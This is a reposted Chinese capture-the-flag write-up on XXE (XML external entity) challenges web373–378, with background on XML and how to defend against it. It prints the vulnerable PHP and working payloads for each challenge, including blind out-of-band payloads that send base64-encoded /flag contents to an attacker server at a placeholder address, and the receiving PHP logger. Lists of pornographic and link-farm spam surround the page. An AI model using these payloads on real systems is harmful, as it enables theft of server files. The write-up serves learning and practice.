日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

CTFSHOW-web入门-XXE

發布時間:2023/12/20 编程问答 42 豆豆
生活随笔 收集整理的這篇文章主要介紹了 CTFSHOW-web入门-XXE 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

XML

XML即 可擴展標記語言(EXtensible Markup Language),是一種標記語言,其標簽沒有預定義,您需要自行定義標簽,是W3C的推薦標準。其于HTML的區別是:

  • HTML 被設計用來顯示數據
  • XML 被設計用來傳輸和存儲數據

XML文檔結構包括:

  • XML聲明
  • DTD文檔類型定義(可選)
  • 文檔元素

XML是一種非常流行的標記語言,在1990年代后期首次標準化,并被無數的軟件項目所采用。它用于配置文件,文檔格式(如OOXML,ODF,PDF,RSS,...),圖像格式(SVG,EXIF標題)和網絡協議(WebDAV,CalDAV,XMLRPC,SOAP,XMPP,SAML, XACML,...),他應用的如此的普遍以至于他出現的任何問題都會帶來災難性的結果。

在解析外部實體的過程中,XML解析器可以根據URL中指定的方案(協議)來查詢各種網絡協議和服務(DNS,FTP,HTTP,SMB等)。 外部實體對于在文檔中創建動態引用非常有用,這樣對引用資源所做的任何更改都會在文檔中自動更新。 但是,在處理外部實體時,可以針對應用程序啟動許多攻擊。 這些攻擊包括泄露本地系統文件,這些文件可能包含密碼和私人用戶數據等敏感數據,或利用各種方案的網絡訪問功能來操縱內部應用程序。 通過將這些攻擊與其他實現缺陷相結合,這些攻擊的范圍可以擴展到客戶端內存損壞,任意代碼執行,甚至服務中斷,具體取決于這些攻擊的上下文。

XXE漏洞主要針對web服務危險的引用的外部實體并且未對外部實體進行敏感字符的過濾,從而可以造成命令執行,目錄遍歷等。

對于傳統的XXE來說,要求攻擊者只有在服務器有回顯或者報錯的基礎上才能使用XXE漏洞來讀取服務器端文件,如果沒有回顯則可以使用Blind XXE漏洞來構建一條帶外信道提取數據。

xxe漏洞存在是因為XML解析器解析了用戶發送的不可信數據。然而,要去校驗DTD(document type definition)中SYSTEM標識符定義的數據,并不容易,也不大可能。大部分的XML解析器默認對于XXE攻擊是脆弱的。因此,最好的解決辦法就是配置XML處理器去使用本地靜態的DTD,不允許XML中含有任何自己聲明的DTD。通過設置相應的屬性值為false,XML外部實體攻擊就能夠被阻止。因此,可將外部實體、參數實體和內聯DTD 都被設置為false,從而避免基于XXE漏洞的攻擊。

web373

題目給出源碼,一個有回顯的文件讀取漏洞

<?php error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);$creds = simplexml_import_dom($dom);$ctfshow = $creds->ctfshow;echo $ctfshow; } highlight_file(__FILE__); ?>

抓包發送如下內容

<?xml version="1.0"?> <!DOCTYPE xml [ <!ENTITY xxe SYSTEM "file:///flag"> ]> <H3rmesk1t><ctfshow>&xxe;</ctfshow> </H3rmesk1t>

得到flag?

web374

無回顯的文件讀取,需要進行外帶

<?php error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); } highlight_file(__FILE__); ?>

抓包發送如下內容

<!DOCTYPE ANY[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx:xxxx/xxe.xml"> %remote; %send; ]>

在服務器放置xxe.php?和?xxe.xml?兩個文件

<?php $content = $_GET['1']; if(isset($content)){file_put_contents('flag.txt','更新時間:'.date("Y-m-d H:i:s")."\n".$content); }else{echo 'no data input'; } <!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx.xxx:xxxx/xxe.php?1=%file;'" > %all;

web375

無回顯的文件讀取,且禁用了版本號,和上面一樣進行外帶不寫版本號即可

<?php error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){die('error'); } if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); } highlight_file(__FILE__); ?>

抓包發送如下內容

<!DOCTYPE ANY[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx:xxxx/xxe.xml"> %remote; %send; ]>

在服務器放置xxe.php?和?xxe.xml?兩個文件

<?php $content = $_GET['1']; if(isset($content)){file_put_contents('flag.txt','更新時間:'.date("Y-m-d H:i:s")."\n".$content); }else{echo 'no data input'; } <!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx.xxx:xxxx/xxe.php?1=%file;'" > %all;

web376

無回顯的文件讀取,且禁用了版本號,和上面一樣進行外帶不寫版本號即可

<?php error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){die('error'); } if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); } highlight_file(__FILE__); ?>

抓包發送如下內容

<!DOCTYPE ANY[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx:xxxx/xxe.xml"> %remote; %send; ]>

在服務器放置xxe.php?和?xxe.xml?兩個文件

<?php $content = $_GET['1']; if(isset($content)){file_put_contents('flag.txt','更新時間:'.date("Y-m-d H:i:s")."\n".$content); }else{echo 'no data input'; } <!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx.xxx:xxxx/xxe.php?1=%file;'" > %all;

web377

payload

import requestsurl = 'http://ddca1082-2f62-4f7f-b8b1-e369e33aa168.chall.ctf.show/' payload = """<!DOCTYPE test [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % aaa SYSTEM "http://xxx/test.dtd"> %aaa; ]> <root>123</root>""" payload = payload.encode('utf-16') requests.post(url ,data=payload)

開監聽拿flag

web378

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///flag"> ]> <user><username>&xxe;</username><password>&xxe;</password></user>

總結

以上是生活随笔為你收集整理的CTFSHOW-web入门-XXE的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 老熟妇仑乱一区二区视频 | 香蕉视频免费在线看 | 日本天堂网在线 | www.伊人.com | 国产青青草在线 | 熟女高潮一区二区三区 | 国产欧美一区二区三区沐欲 | 中文字幕乱码在线人视频 | 久草a在线| 国产精品麻豆果冻传媒在线播放 | 一级黄色在线观看 | 蜜桃精品久久久久久久免费影院 | 十八禁一区二区三区 | 国产免费一区二区三区最新6 | av电影一区二区三区 | 人妻一区在线 | 6080午夜伦理 | 精品成人在线观看 | 精品自拍偷拍视频 | 精品动漫一区二区 | 成人在线视频一区二区 | 国产日韩欧美一区二区 | 亚洲av永久无码精品放毛片 | 精品久久久久久国产 | 误杀1电影免费观看高清完整版 | 国产精品久久二区 | 不卡在线一区二区 | 视频一区二区中文字幕 | youjizz亚洲女人 | 红桃视频一区二区三区免费 | 免费毛片大全 | 97影院手机版 | 日韩综合色 | 亚洲欧美综合 | 在线免费观看欧美大片 | 99黄色网 | 亚洲国产精品99久久 | 国产精品久久av | 男女做激情爱呻吟口述全过程 | 欧美成人a∨高清免费观看 国产精品999视频 | 亚洲午夜无码久久久久 | 亚洲综合精品国产一区二区三区 | 四虎成人免费视频 | 久色99 | 亚洲一区二区三区午夜 | 中文一区二区在线 | 三级一区二区 | 国产精品久久久久无码av | 久久高清一区 | 日韩一级在线 | 亚洲一区二区色图 | 黄色免费毛片 | 欧美男女交配视频 | 国产美女喷水 | 亚洲AV成人无码久久 | 亚洲日日日| 老司机午夜免费福利 | 国产精选网站 | 都市激情亚洲色图 | 欧美一区二区三区在线 | 亚洲欧美激情小说另类 | 国产一区二区三区毛片 | 欧美绿帽合集videosex | 欧洲国产视频 | 中文字幕在线日亚洲9 | 中文字幕一区久久 | 亚洲一二三四视频 | 色综合天天 | 免费观看一区二区三区毛片 | 久久人人爽天天玩人人妻精品 | 古装三级吃奶做爰 | 欧美精品色哟哟 | 91重口味 | 日本美女视频一区 | 天天噜日日噜 | 国产乱free国语对白 | 男生和女生操操 | 精品久久在线观看 | 制服丝袜国产精品 | 一区二区三区欧美精品 | 在线成人一区二区 | xxxx性视频| 五月天国产在线 | 日日碰狠狠添天天爽无码 | 精品综合 | 91草草草 | 污污内射久久一区二区欧美日韩 | 国产精品免费无遮挡无码永久视频 | 国产激情一区二区三区视频免樱桃 | 亚洲无限av | av黄网站| 国产白丝av | av一区二区三区在线 | 免费日韩av | 午夜视频在线观看免费视频 | 日本肉体xxxⅹ裸体交 | 久久久久久欧美精品se一二三四 | 亚洲欧美经典 | 精久久久久久久 |